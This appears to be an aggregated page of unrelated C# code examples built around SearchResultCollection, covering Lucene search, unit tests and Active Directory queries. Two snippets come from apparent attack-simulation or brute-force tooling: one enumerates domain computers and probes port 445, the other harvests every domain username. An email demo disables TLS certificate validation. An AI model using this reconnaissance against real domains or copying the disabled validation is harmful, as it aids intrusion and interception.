示例#1
0
        public Task<SearchResultCollection> Search(string search)
        {
            return System.Threading.Tasks.Task.Run(() =>
            {
                var src = new SearchResultCollection();
                if (string.IsNullOrWhiteSpace(search)) return src;
                try
                {

                                                       
                    var parser = new QueryParser(Version.LUCENE_30,"All", analyzer);
                    Query q = new TermQuery(new Term("All", search));
                                                           
                    using (var indexSearcher = new IndexSearcher(directory, true))
                    {
                        Query query = parser.Parse(search);
                        TopDocs result = indexSearcher.Search(query, 50);
                        foreach (ScoreDoc h in result.ScoreDocs)
                        {
                            Document doc = indexSearcher.Doc(h.Doc);
                            string id = doc.Get("id");
                            BaseContent value;
                            if (LookupTable.TryGetValue(id, out value)) src.Add(new SearchResult {Relevance = h.Score, Content = value});
                        }
                    }
                }
                catch (Exception e)
                {

                    Logger.Log("DataServer","Error lucene search",e.Message,Logger.Level.Error);
                }
                return src;
            });
        }
        public void Add_DuplicateItem()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));

            collection.Add(res);
            collection.Add(res2);
            collection.Add(res);
        }
        public void Clear()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));

            collection.Add(res);
            Assert.AreEqual(1, collection.Count, "Wrong count (collection should contain 1 item)");

            collection.Clear();
            Assert.AreEqual(0, collection.Count, "Wrong count (collection should be empty)");
        }
        public void AddAndCount()
        {
            SearchResultCollection collection = new SearchResultCollection();

            Assert.AreEqual(0, collection.Count);

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));

            collection.Add(res);
            collection.Add(res2);
            Assert.AreEqual(2, collection.Count, "Wrong count (collection should contain 2 items)");
            Assert.AreEqual(res, collection[0], "Wrong item at index 0");
            Assert.AreEqual(res2, collection[1], "Wrong item at index 1");
        }
示例#5
0
        protected void Page_Load(object sender, EventArgs e)
        {
            if (!IsPostBack) {
                string searchTerms = Request["terms"];

                if (searchTerms != null && searchTerms.Length > 0) {

                    Results = SearchService.Search(searchTerms, 0, 10);

                    RepeaterSearchResults.DataSource = Results;
                    RepeaterSearchResults.DataBind();

                }

            }
        }
示例#6
0
        public Search(string searchPattern, FileType fileTypeFilter, SearchType searchType)
        {
            if (searchPattern == null)
                throw new ArgumentNullException("searchPattern");
            if (searchPattern.Length < 3)
                throw new ArgumentException();
            if (fileTypeFilter == null)
            {
                throw new ArgumentNullException("fileTypeFilter");
            }

            m_Results = new SearchResultCollection(Core.Searches);
            // 2007-05-27 T.Norad
            m_FileTypeFilter = fileTypeFilter;
            m_SearchPattern = searchPattern;
            m_SearchFloodingHash = Core.GenerateFloodingHash();
            m_SearchPeerID = Core.GenerateIDOrHash();
            m_SearchID = Core.GenerateIDOrHash();
            m_SearchIDString = Core.ByteArrayToString(m_SearchID);
            m_SearchType = searchType;
        }
示例#7
0
        /// <summary>
        /// Searches the configured index.  The default index is set using the key 'xenosynth.installation.searchIndex' in the <see ref="Xenosynth.Configuration.SystemConfiguration"/>.
        /// </summary>
        /// <param name="searchTerms">
        /// A <see cref="System.String"/>
        /// </param>
        /// <param name="pageIndex">
        /// A <see cref="System.Int32"/>
        /// </param>
        /// <param name="pageSize">
        /// A <see cref="System.Int32"/>
        /// </param>
        /// <returns>
        /// A <see cref="SearchResultCollection"/>
        /// </returns>
        public static SearchResultCollection Search(string searchTerms, int pageIndex, int pageSize)
        {
            string configuredSearchIndex = (string)XenosynthContext.Current.Configuration["xenosynth.installation.searchIndex"].Value;
            IndexSearcher searcher = new IndexSearcher(configuredSearchIndex);

            MultiFieldQueryParser qp = new MultiFieldQueryParser(new string[] { "name", "content" }, new StandardAnalyzer());
            Query query = qp.Parse(searchTerms);

            Hits hits = searcher.Search(query);

            int startIndex = pageIndex * pageSize;
            int stopIndex = startIndex + pageSize;
            stopIndex = Math.Min(stopIndex, hits.Length());

            SearchResultCollection results = new SearchResultCollection(startIndex, hits.Length());

            if (startIndex < hits.Length()) {
                for (int i = startIndex; i < stopIndex; i++) {
                    Document d = hits.Doc(i);
                    SearchResult result = new SearchResult(
                        i,
                        GetField(d, "key"),
                        GetField(d, "type"),
                        hits.Score(i),
                        GetField(d, "name"),
                        GetField(d, "description")
                    );

                    results.AddResult(result);
                }
            }

            searcher.Close();

            return results;
        }
示例#8
0
            public Result(SearchResultCollection parent, byte[] fileHash, long fileSize, byte[] id, string fileName, RIndexedHashtable<string, string> metaData, string comment, byte rating, bool isSearchDBResult, DateTime date)
            {
                if (parent == null)
                    throw new ArgumentNullException("parent");
                if (fileHash == null)
                    throw new ArgumentNullException("fileHash");
                if (fileHash.Length != 64)
                    throw new ArgumentException();
                if (fileSize < 0)
                    throw new ArgumentOutOfRangeException("fileSize");
                if (id == null)
                    throw new ArgumentNullException("id");
                if (id.Length != 48)
                    throw new ArgumentException();
                if (fileName == null)
                    throw new ArgumentNullException("fileName");
                if (metaData == null)
                    throw new ArgumentNullException("metaData");
                if (comment == null)
                    throw new ArgumentNullException("comment");
                if (rating > 3)
                    throw new ArgumentNullException("rating");

                m_Sources = new SearchResultSourceCollection(parent);
                m_MetaData = new SearchResultMetaDataCollection(parent);
                m_FileHash = fileHash;
                m_FileHashString = Core.ByteArrayToString(m_FileHash);
                m_FileSize = fileSize;
                m_FileSizeString = Core.LengthToString(m_FileSize);
                //2009-01-25 Nochbaer
                m_IsSearchDBResult = isSearchDBResult;
                //2009-01-29 Nochbaer
                m_Date = date;

                AddSource(id, fileName, metaData, comment, rating);
            }
        public void Constructor_NoCapacity()
        {
            SearchResultCollection sut = new SearchResultCollection();

            Assert.Empty(sut);
        }
示例#10
0
        static void Main(string[] args)
        {
            if (args.Length != 7)
            {
                Console.WriteLine("Usage: <LDAP path> <email username> <email password> <IMAP host> <SMTP host> <IMAP port> <SMTP port>");
                Console.ReadKey();
                Environment.Exit(1);
            }

            var ldapPath = args[0];
            var username = args[1];
            var password = args[2];
            var imapHost = args[3];
            var smtpHost = args[4];
            var imapPort = int.Parse(args[5]);
            var smtpPort = int.Parse(args[6]);

            DirectoryEntry entry =
                new DirectoryEntry(ldapPath, "", "", AuthenticationTypes.None);

            DirectorySearcher search = new DirectorySearcher(entry);

            search.Filter = "(objectClass=person)";
            search.PropertiesToLoad.Add("mail");
            search.PropertiesToLoad.Add("cn");

            SearchResultCollection results = search.FindAll();

            Console.WriteLine("Retrieving all users in directory..");
            Console.WriteLine("");

            foreach (SearchResult searchResult in results)
            {
                foreach (DictionaryEntry property in searchResult.Properties)
                {
                    Console.Write(property.Key + ": ");
                    foreach (var val in ((ResultPropertyValueCollection)property.Value))
                    {
                        Console.Write(val + "; ");
                    }
                    Console.WriteLine("");
                }
            }

            using (var imapClient = new ImapClient())
            {
                // For demo-purposes, accept all SSL certificates
                imapClient.ServerCertificateValidationCallback = (s, c, h, e) => true;

                imapClient.Connect(imapHost, imapPort, true);

                imapClient.Authenticate(username, password);

                // The Inbox folder is always available on all IMAP servers...
                var inbox = imapClient.Inbox;
                inbox.Open(FolderAccess.ReadOnly);

                Console.WriteLine("");
                Console.WriteLine("Retrieving all messages from your emailaddress..");
                Console.WriteLine("Total messages: {0}", inbox.Count);
                Console.WriteLine("Recent messages: {0}", inbox.Recent);
                Console.WriteLine("");
                Console.WriteLine("Retrieving the 10 most recent messages..");
                Console.WriteLine("");

                Dictionary <string, string[]> emailDictionary = new Dictionary <string, string[]>();
                var index = Math.Max(inbox.Count - 10, 0);
                for (int i = index; i < inbox.Count; i++)
                {
                    var message             = inbox.GetMessage(i);
                    var internetAddressList = message.From;
                    var sender = "sender unknown";

                    if (internetAddressList.Count > 0)
                    {
                        sender = internetAddressList.ToString();
                        Char charRange  = '"';
                        int  startIndex = sender.IndexOf(charRange);
                        int  endIndex   = sender.LastIndexOf(charRange);
                        int  length     = endIndex - startIndex + 1;

                        var address = internetAddressList.Mailboxes.ElementAt(0).Address;
                        emailDictionary.Add(message.MessageId, new[] { sender.Substring(startIndex, length), address });
                    }
                    Console.WriteLine("MessageId: {0}, Sender: {1}, Subject: {2}", message.MessageId, sender, message.Subject);
                }

                imapClient.Disconnect(true);

                Console.WriteLine("");
                Console.WriteLine("Choose one of the above senders to reply to by typing in the MessageId..");

                string   answer;
                string[] value = {};
                while ((answer = Console.ReadLine()) != null)
                {
                    if (emailDictionary.TryGetValue(answer, out value))
                    {
                        Console.WriteLine("found an emailaddress: {0}", value[1]);
                        Console.WriteLine("");
                        break;
                    }

                    Console.WriteLine("Could not find an emailaddress with this MessageId: {0}", answer);
                    Console.WriteLine("Choose one of the above senders to send an email to by typing in the MessageId..");
                }

                var mimeMessage = new MimeMessage();
                mimeMessage.From.Add(new MailboxAddress("Twan van Maastricht", "*****@*****.**"));
                mimeMessage.To.Add(new MailboxAddress(value[0], value[1]));

                Console.WriteLine("Type in a subject for your email");
                mimeMessage.Subject = Console.ReadLine();

                Console.WriteLine("");
                Console.WriteLine("Type in a body for your message");
                var body = Console.ReadLine();

                mimeMessage.Body = new TextPart("plain")
                {
                    Text = body
                };

                using (var smtpClient = new SmtpClient())
                {
                    // For demo-purposes, accept all SSL certificates (in case the server supports STARTTLS)
                    smtpClient.ServerCertificateValidationCallback = (s, c, h, e) => true;

                    smtpClient.Connect(smtpHost, smtpPort, false);

                    // Note: only needed if the SMTP server requires authentication
                    smtpClient.Authenticate(username, password);

                    smtpClient.Send(mimeMessage);

                    smtpClient.Disconnect(true);
                    Console.WriteLine("Message was send, use a key to quit...");
                    Console.ReadKey();
                }
            }
        }
        public void Remove()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));
            SearchResult res3 = new SearchResult(MockDocument("d3", "d", "d", DateTime.Now));

            collection.Add(res);
            collection.Add(res2);

            Assert.IsTrue(collection.Remove(res), "Remove should return true");
            Assert.IsFalse(collection.Remove(res3), "Remove should return false");
            Assert.AreEqual(1, collection.Count, "Wrong count");
            Assert.AreEqual(res2, collection[0], "Wrong item at index 0");
        }
        public void Indexer()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));

            collection.Add(res);
            collection.Add(res2);

            Assert.AreEqual(res, collection[0], "Wrong item");
            Assert.AreEqual(res2, collection[1], "Wrong item");
        }
        public void CopyTo_NullArray()
        {
            SearchResultCollection collection = new SearchResultCollection();

            collection.CopyTo(null, 0);
        }
示例#14
0
        public static List <Computer> GetADComputers(int count, string dc = "")
        {
            DateTime          dt = DateTime.Now.AddDays(-1);
            long              ftAccountExpires = dt.ToFileTime();
            DirectorySearcher search           = new DirectorySearcher();

            if (dc == "")
            {
                List <Computer> Dcs    = GetDcs();
                Random          random = new Random();
                int             index  = random.Next(Dcs.Count);
                Console.WriteLine("[*] Randomly Picked DC for LDAP queries {0}", Dcs[index].ComputerName);
                DirectoryEntry searchRoot = new DirectoryEntry("LDAP://" + Dcs[index].Fqdn);
                search = new DirectorySearcher(searchRoot);
            }
            else
            {
                Console.WriteLine("[*] Using LogonServer {0} for LDAP queries", dc);
                DirectoryEntry searchRoot = new DirectoryEntry("LDAP://" + dc);
                search = new DirectorySearcher(searchRoot);
            }
            List <Computer> lstADComputers = new List <Computer>();

            search.Filter = "(&(objectClass=computer)(lastLogon>=" + ftAccountExpires.ToString() + "))";
            search.PropertiesToLoad.Add("samaccountname");
            search.PropertiesToLoad.Add("Name");
            search.PropertiesToLoad.Add("DNSHostname");
            search.SizeLimit = count * 5;
            SearchResult           result;
            SearchResultCollection resultCol = search.FindAll();

            if (resultCol != null)
            {
                //Console.WriteLine("Initial query obtained " + resultCol.Count.ToString() + " records;");

                List <Task> tasklist = new List <Task>();

                for (int counter = 0; counter < resultCol.Count; counter++)
                {
                    try
                    {
                        result = resultCol[counter];
                        if (result.Properties.Contains("samaccountname") && result.Properties.Contains("DNSHostname"))
                        {
                            string Name        = (String)result.Properties["Name"][0];
                            string dnshostname = (String)result.Properties["DNSHostname"][0];

                            tasklist.Add(Task.Factory.StartNew(() =>
                            {
                                //TODO: Firewalls may block ping. Instead of pinging, i should should resolve.
                                string ipv4 = PurpleSharp.Lib.Networking.PingHost(dnshostname);

                                if (ipv4 != "")
                                {
                                    TimeSpan interval = TimeSpan.FromSeconds(3);
                                    if (PurpleSharp.Lib.Networking.OpenPort(ipv4, 445, interval))
                                    {
                                        Computer newhost     = new Computer();
                                        newhost.ComputerName = Name;
                                        newhost.IPv4         = ipv4;
                                        newhost.Fqdn         = dnshostname;
                                        lstADComputers.Add(newhost);
                                    }
                                }
                            }));
                        }
                    }
                    catch (Exception e)
                    {
                        continue;
                    }
                }
                Task.WaitAll(tasklist.ToArray());
            }
            return(lstADComputers.OrderBy(arg => Guid.NewGuid()).Take(count).ToList());
        }
        public bool SCPAutodiscover(string ServiceBindingInfo = "", bool ClearTestedList = true)
        {
            // Attempt SCP autodiscover
            bool bAutodiscoverDone = false;

            if (ClearTestedList)
            {
                _testedUrls = new List <string>();
            }

            string configurationNamingContext = "";

            try
            {
                string sRootDSEPath = "LDAP://";
                if (!String.IsNullOrEmpty(ServiceBindingInfo))
                {
                    sRootDSEPath += ServiceBindingInfo + "/";
                }
                sRootDSEPath += "rootDSE";
                DirectoryEntry rootDse = new DirectoryEntry(sRootDSEPath);
                configurationNamingContext = Convert.ToString(rootDse.Properties["configurationNamingContext"][0], CultureInfo.CurrentCulture);
            }
            catch { }

            if (String.IsNullOrEmpty(configurationNamingContext))
            {
                Log("SCP lookup failed");
                return(false);
            }

            SearchResultCollection oResults = null;

            try
            {
                DirectorySearcher ds = new DirectorySearcher(new DirectoryEntry("LDAP://" + configurationNamingContext),
                                                             "(&(objectClass=serviceConnectionPoint)(|(keywords=67661d7F-8FC4-4fa7-BFAC-E1D7794C1F68)(keywords=77378F46-2C66-4aa9-A6A6-3E7A48B19596)))");
                ds.SearchScope = SearchScope.Subtree;
                ds.PropertiesToLoad.Add("serviceBindingInformation");
                ds.PropertiesToLoad.Add("keywords");
                oResults = ds.FindAll();
            }
            catch (Exception ex)
            {
                Log("SCP Lookup failed: " + ex.Message);
                return(false);
            }

            if (oResults.Count < 1)
            {
                oResults.Dispose();
                Log("SCP Lookup failed: no service records found");
                return(false);
            }
            else
            {
                Log("SCP Lookup: " + oResults.Count.ToString() + " record(s) found");
            }

            foreach (SearchResult oResult in oResults)
            {
                if (oResult.Properties.Contains("keywords"))
                {
                    // Check for domain scope
                    if (oResult.Properties["keywords"].Contains("Domain=" + SMTPDomain()))
                    {
                        string sURL = oResult.Properties["serviceBindingInformation"][0].ToString();
                        bAutodiscoverDone = SCPAutodiscover(sURL, false);
                        if (bAutodiscoverDone)
                        {
                            break;
                        }
                    }
                }
            }
            Log("Completed SCP search: Domain=" + SMTPDomain());

            string sSite = System.DirectoryServices.ActiveDirectory.ActiveDirectorySite.GetComputerSite().ToString();

            if (!bAutodiscoverDone)
            {
                // No domain scoping, test site scoping
                foreach (SearchResult oResult in oResults)
                {
                    if (oResult.Properties.Contains("keywords"))
                    {
                        // Check for site scope
                        if (oResult.Properties["keywords"].Contains("Site=" + sSite))
                        {
                            if (oResult.Properties.Contains("serviceBindingInformation"))
                            {
                                string sURL = oResult.Properties["serviceBindingInformation"][0].ToString();
                                if (!_testedUrls.Contains(sURL))
                                {
                                    _testedUrls.Add(sURL);
                                    bAutodiscoverDone = TestXmlAutodiscoverUrl(sURL);
                                }
                                if (bAutodiscoverDone)
                                {
                                    break;
                                }
                            }
                        }
                    }
                }
            }
            Log("Completed SCP search: Site=" + sSite);

            if (!bAutodiscoverDone)
            {
                // No site scoping, test for ANY endpoint
                foreach (SearchResult oResult in oResults)
                {
                    if (oResult.Properties.Contains("keywords"))
                    {
                        // Check for site scope (if result is scoped to site, ignore it)
                        bool bIsSiteScoped = false;
                        foreach (string sKeyword in oResult.Properties.PropertyNames)
                        {
                            if (sKeyword.ToLower().StartsWith("site="))
                            {
                                bIsSiteScoped = true;
                                break;
                            }
                        }
                        if (!bIsSiteScoped)
                        {
                            if (oResult.Properties.Contains("serviceBindingInformation"))
                            {
                                string sURL = oResult.Properties["serviceBindingInformation"][0].ToString();
                                if (!_testedUrls.Contains(sURL))
                                {
                                    _testedUrls.Add(sURL);
                                    bAutodiscoverDone = TestXmlAutodiscoverUrl(sURL);
                                }
                                if (bAutodiscoverDone)
                                {
                                    break;
                                }
                            }
                        }
                    }
                }
            }
            Log("Finished SCP Autodiscover");

            oResults.Dispose();

            return(bAutodiscoverDone);
        }
示例#16
0
        private ActiveDirectoryUser SearchActiveDirectory(string samAccount, string domain)
        {
            if (string.IsNullOrWhiteSpace(domain))
            {
                domain = Environment.UserDomainName;
            }

            // Store the search results as a collection of Users.  This list will be returned.
            var user = new ActiveDirectoryUser();

            user.SamId = samAccount;

            string ldapPath     = $"LDAP://{domain}";
            string searchFilter =
                "(&(objectCategory=person)(objectClass=user)" +
                $"(sAMAccountName={samAccount}))";

            string[] searchProperties =
            {
                "givenName",
                "sn",
                "physicalDeliveryOfficeName",
                "telephoneNumber",
                "mail",
                "title",
                "department",
                "memberOf",
                "objectSid",
                "pwdLastSet",
                "distinguishedName"
            };

            try
            {
                using (
                    GlobalVar.UseAlternateCredentials
                    ? UserImpersonation.Impersonate(GlobalVar.AlternateUsername, GlobalVar.AlternateDomain, GlobalVar.AlternatePassword)
                    : null)
                    using (DirectoryEntry parentEntry = new DirectoryEntry(ldapPath))
                        using (DirectorySearcher directorySearcher = new DirectorySearcher(parentEntry, searchFilter, searchProperties))
                            using (SearchResultCollection searchResultCollection = directorySearcher.FindAll())
                            {
                                // Iterate through each search result.
                                foreach (SearchResult searchResult in searchResultCollection)
                                {
                                    DirectoryEntry entry = new DirectoryEntry(searchResult.GetDirectoryEntry().Path);

                                    user.NameFirst = (entry.Properties["givenName"].Value != null) ?
                                                     entry.Properties["givenName"].Value.ToString() : string.Empty;
                                    user.NameLast = (entry.Properties["sn"].Value != null) ?
                                                    entry.Properties["sn"].Value.ToString() : string.Empty;
                                    user.OfficeLocation = (entry.Properties["physicalDeliveryOfficeName"].Value != null)
                            ? entry.Properties["physicalDeliveryOfficeName"].Value.ToString() : string.Empty;
                                    user.OfficePhone = (entry.Properties["telephoneNumber"].Value != null) ?
                                                       entry.Properties["telephoneNumber"].Value.ToString() : string.Empty;
                                    user.JobDepartment = (entry.Properties["department"].Value != null) ?
                                                         entry.Properties["department"].Value.ToString() : string.Empty;
                                    user.JobTitle = (entry.Properties["title"].Value != null) ?
                                                    entry.Properties["title"].Value.ToString() : string.Empty;
                                    user.EmailAddress = (entry.Properties["mail"].Value != null) ?
                                                        entry.Properties["mail"].Value.ToString() : string.Empty;

                                    if (entry.Properties["objectSid"].Value != null)
                                    {
                                        user.SID = new SecurityIdentifier((byte[])entry.Properties["objectSid"].Value, 0).ToString();
                                    }

                                    if (entry.Properties["memberOf"] != null)
                                    {
                                        user.MemberOf = entry.Properties["memberOf"];
                                    }

                                    //user.PasswordLastSet = (entry.Properties["pwdLastSet"].Value != null) ? entry.Properties["pwdLastSet"].Value.ToString() : string.Empty;

                                    for (int i = 0; i < user.MemberOf.Count; ++i)
                                    {
                                        int startIndex = user.MemberOf[i].ToString().IndexOf("CN=", 0) + 3; //+3 for  length of "OU="
                                        int endIndex   = user.MemberOf[i].ToString().IndexOf(",", startIndex);
                                        user.MemberOf[i] = user.MemberOf[i].ToString().Substring((startIndex), (endIndex - startIndex));
                                    }

                                    user.DistinguishedName = entry.Properties["distinguishedName"].Value.ToString();
                                    string dn           = entry.Properties["distinguishedName"].Value.ToString();
                                    int    dnStartIndex = dn.IndexOf(",", 1) + 4; //+3 for  length of "OU="
                                    int    dnEndIndex   = dn.IndexOf(",", dnStartIndex);
                                    user.OrganizationalUnit = dn.Substring((dnStartIndex), (dnEndIndex - dnStartIndex));
                                }
                            }
            }
            catch
            { }

            return(user);
        }
示例#17
0
        private static void SearchForComputerTest(DirectoryEntry de, string prevPrefix = "", int prevCnt = 0, int prevLength = 0)
        {
            Console.Write($"Search for computer{(prevPrefix != "" ? $" [{prevPrefix}]" : "")}: ");
            string prefix = Console.ReadLine();

            if (string.IsNullOrEmpty(prefix))
            {
                prefix = prevPrefix;
            }

            Console.Write($"Starting number{(prevCnt != 0 ? $"[{prevCnt}]" : "")}: ");
            int cnt = GetIntFromConsoleRead();

            if (cnt == 0)
            {
                if (prevCnt == 0)
                {
                    Console.WriteLine("Defaulting to 1");
                    cnt = 1;
                }
                else
                {
                    cnt = prevCnt;
                }
            }

            Console.Write($"Number length{(prevLength != 0 ? $"[{prevLength}]" : "")}: ");
            int length = GetIntFromConsoleRead();

            GlobalCatalog     gc = Forest.GetCurrentForest().FindGlobalCatalog();
            DirectorySearcher ds = gc.GetDirectorySearcher();

            List <string> openNamesList = new List <string>();

            int startingCnt = cnt;

            while (true)
            {
                string scnt = cnt.ToString();

                while (scnt.Length < length)
                {
                    scnt = $"0{scnt}";
                }

                ds.Filter = $"(&(ObjectCategory=computer)(name={prefix}{scnt}))";
                //DirectorySearcher ds = new DirectorySearcher(de,$"(&(ObjectCategory=computer)(name={Console.ReadLine()}))");

                SearchResultCollection resultCollection = ds.FindAll();

                if (resultCollection.Count == 0)
                {
                    openNamesList.Add($"{prefix}{scnt}");

                    if (openNamesList.Count == 10)
                    {
                        break;
                    }
                }
                cnt++;
            }
            Console.WriteLine($"Search finished in {ds.SearchRoot.Path}");
            Console.WriteLine("Available names:");
            foreach (string s in openNamesList)
            {
                Console.WriteLine($" {s}");
            }
            Console.WriteLine($"\nSearch again?");

            ConsoleKeyInfo consoleKeyInfo = Console.ReadKey();

            if (consoleKeyInfo.Key == ConsoleKey.Y)
            {
                Console.WriteLine();
                SearchForComputerTest(de, prefix, startingCnt, length);
            }
        }
示例#18
0
        private string[] DomainUsernames()
        {
            string         domainController = this.DomainController();
            string         bindPath         = this.BindPath(domainController);
            DirectoryEntry directoryObject  = new DirectoryEntry(bindPath);

            if (!String.IsNullOrEmpty(this.credUser))
            {
                string userDomain = String.Format("{0}\\{1}", this.credDomain, this.credUser);

                if (!this.AreCredentialsValid())
                {
                    throw new BruteArgumentException("[X] Credentials supplied for '" + userDomain + "' are invalid!");
                }

                directoryObject.Username = userDomain;
                directoryObject.Password = this.credPassword;

                Console.WriteLine("[*] Using alternate creds  : {0}\r\n", userDomain);
            }

            DirectorySearcher userSearcher = new DirectorySearcher(directoryObject);

            userSearcher.Filter = "(samAccountType=805306368)";
            userSearcher.PropertiesToLoad.Add("samAccountName");

            try
            {
                SearchResultCollection users = userSearcher.FindAll();

                ArrayList usernames = new ArrayList();

                foreach (SearchResult user in users)
                {
                    string username = user.Properties["samAccountName"][0].ToString();
                    usernames.Add(username);
                }

                return(usernames.Cast <object>().Select(x => x.ToString()).ToArray());
            }
            catch (System.Runtime.InteropServices.COMException ex)
            {
                switch ((uint)ex.ErrorCode)
                {
                case 0x8007052E:
                    throw new BruteArgumentException("[X] Login error when retrieving usernames from dc \"" + domainController + "\"! Try it by providing valid /creduser and /credpassword");

                case 0x8007203A:
                    throw new BruteArgumentException("[X] Error connecting with the dc \"" + domainController + "\"! Make sure that provided /domain or /dc are valid");

                case 0x80072032:
                    throw new BruteArgumentException("[X] Invalid syntax in DN specification! Make sure that /ou is correct");

                case 0x80072030:
                    throw new BruteArgumentException("[X] There is no such object on the server! Make sure that /ou is correct");

                default:
                    throw ex;
                }
            }
        }
示例#19
0
文件: ad.cs 项目: on1dds/AD-Phonebook
        static public List <User> GetUsers(string DomainPath)
        {
            List <User> lstADUsers = new List <User>();

            try
            {
                DirectoryEntry    searchRoot = new DirectoryEntry(DomainPath);
                DirectorySearcher search     = new DirectorySearcher(searchRoot);
                search.Filter = "(&(objectClass=user)(objectCategory=person))";

                // mailinfo
                search.PropertiesToLoad.Add("samaccountname");
                search.PropertiesToLoad.Add("mail");
                search.PropertiesToLoad.Add("usergroup");
                search.PropertiesToLoad.Add("displayname");
                // search.PropertiesToLoad.Add("mailNickname");

                // gebruikersinfo
                //search.PropertiesToLoad.Add("givenName");                   // voornaam
                //search.PropertiesToLoad.Add("SN");                          // achternaam

                search.PropertiesToLoad.Add("title");                       // functie binnen bedrijf
                search.PropertiesToLoad.Add("description");                 // beschrijving gebruiker
                //search.PropertiesToLoad.Add("manager");                     // LDAP van diensthoofd
                // dienstinfo
                //search.PropertiesToLoad.Add("company");                     // bedrijf
                //search.PropertiesToLoad.Add("department");                  // afdeling
                search.PropertiesToLoad.Add("physicalDeliveryOfficeName");      // dienst
                search.PropertiesToLoad.Add("extensionAttribute1");             // geslacht

                // telefooninfo
                search.PropertiesToLoad.Add("telephoneNumber");             // telefoon werk
                //search.PropertiesToLoad.Add("homePhone");                   // telefoon werk
                search.PropertiesToLoad.Add("mobile");                      // gsm nummer
                search.PropertiesToLoad.Add("facsimileTelephoneNumber");    // fax
                search.PropertiesToLoad.Add("info");                        // telefoon opmerking

                SearchResult           result;
                SearchResultCollection resultCol = search.FindAll();
                if (resultCol != null)
                {
                    for (int counter = 0; counter < resultCol.Count; counter++)
                    {
                        string UserNameEmailString = string.Empty;
                        result = resultCol[counter];
                        if (result.Properties.Contains("displayname") &&
                            result.Properties.Contains("telephoneNumber") || result.Properties.Contains("mobile"))
                        {
                            User u = new User();

                            u.DisplayName = (String)result.Properties["displayname"][0];

                            if (result.Properties.Contains("samaccountname"))
                            {
                                u.Account = (String)result.Properties["samaccountname"][0];
                            }
                            else
                            {
                                u.Account = "";
                            }

                            if (result.Properties.Contains("mail"))
                            {
                                u.Email = (String)result.Properties["mail"][0];
                            }
                            else
                            {
                                u.Email = "";
                            }

                            if (result.Properties.Contains("extensionAttribute1"))
                            {
                                u.Geslacht = (String)result.Properties["extensionAttribute1"][0];
                            }
                            else
                            {
                                u.Geslacht = "";
                            }


                            if (result.Properties.Contains("physicalDeliveryOfficeName"))
                            {
                                u.Dienst = (String)result.Properties["physicalDeliveryOfficeName"][0];
                            }
                            else
                            {
                                u.Dienst = "";
                            }

                            if (result.Properties.Contains("mobile"))
                            {
                                u.Mobiel = (String)result.Properties["mobile"][0];
                            }
                            else
                            {
                                u.Mobiel = "";
                            }

                            if (result.Properties.Contains("description"))
                            {
                                u.Beschrijving = (String)result.Properties["description"][0];
                            }
                            else
                            {
                                u.Beschrijving = "";
                            }

                            if (result.Properties.Contains("info"))
                            {
                                u.Info = (String)result.Properties["info"][0];
                            }
                            else
                            {
                                u.Info = "";
                            }

                            if (result.Properties.Contains("facsimileTelephoneNumber"))
                            {
                                u.Fax = (String)result.Properties["facsimileTelephoneNumber"][0];
                            }
                            else
                            {
                                u.Fax = "";
                            }

                            if (result.Properties.Contains("title"))
                            {
                                u.Functie = (String)result.Properties["title"][0];
                            }
                            else
                            {
                                u.Functie = "";
                            }

                            // u.Usergroup = (String)result.Properties["usergroup"][0];
                            //u.Voornaam = (String)result.Properties["givenname"][0];
                            //u.Achternaam = (String)result.Properties["SN"][0];
                            //u.Functie = (String)result.Properties["title"][0];
                            //u.Diensthoofd = (String)result.Properties["Manager"][0];
                            //u.Bedrijf = (String)result.Properties["company"][0];

                            if (result.Properties.Contains("telephoneNumber"))
                            {
                                u.TelefoonWerk = (String)result.Properties["telephoneNumber"][0];
                            }
                            else
                            {
                                u.TelefoonWerk = "";
                            }
                            //u.TelefoonThuis = (String)result.Properties["homePhone"][0];

                            lstADUsers.Add(u);
                        }
                    }
                }
                return(lstADUsers);
            }
            catch (Exception ex)
            {
                return(null);
            }
        }
示例#20
0
        public virtual KeyValuePair<int, List<SitecoreItem>> RunQuery(Query query, int pageSize, int pageNumber, string sortField, string sortDirection)
        {
            var items = new List<SitecoreItem>();
            int hitCount;
            if (Config.EnableBucketDebug || Constants.EnableTemporaryBucketDebug)
            {
                Log.Info("Bucket Debug Query: " + query, this);
            }

            if (Config.SOLREnabled == "true")
            {
                GetValue(query, items);
                return new KeyValuePair<int, List<SitecoreItem>>(items.Count, items);
            }
            else
            {
                if(Index is Index)
                {
                    (Index as Index).Analyzer = new StandardAnalyzer(Consts.StopWords);
                }
                using (var context = new SortableIndexSearchContext(Index))
                {
                    BooleanQuery.SetMaxClauseCount(Config.LuceneMaxClauseCount);
                    var sortingDir = sortDirection == "asc" ? false : true;
                    var searchHits = string.IsNullOrWhiteSpace(sortField)
                                         ? context.Search(query)
                                         : context.Search(query, new Sort(sortField, sortingDir));
                    if (searchHits.IsNull())
                    {
                        return new KeyValuePair<int, List<SitecoreItem>>();
                    }

                    hitCount = searchHits.Length;
                    if (pageSize == 0)
                    {
                        pageSize = searchHits.Length;
                    }

                    if (pageNumber == 1)
                    {
                        pageNumber = 1;
                    }

                    var resultCollection = new SearchResultCollection();

                    resultCollection = searchHits.FetchResults((pageNumber - 1) * pageSize, pageSize);

                    SearchHelper.GetItemsFromSearchResult(resultCollection, items);
                }
                return new KeyValuePair<int, List<SitecoreItem>>(hitCount, items);
            }
        }
示例#21
0
    /// <summary>
    /// Multi purpose query of specified AD objects and some of their properties.
    /// </summary>
    /// <param name="objContentMsg"></param>
    /// <param name="retval"></param>
    /// <param name="objsearchfilter"></param>
    /// <param name="adobjin"></param>
    /// <returns>Object that reflects the queried information</returns>
    public ADobjInfo RetObjValues(ref string objContentMsg, out int retval, string objsearchfilter, ADobjInfo adobjin)
    {
        retval = 0;
        string objfilter = "";

        switch (objsearchfilter)
        {
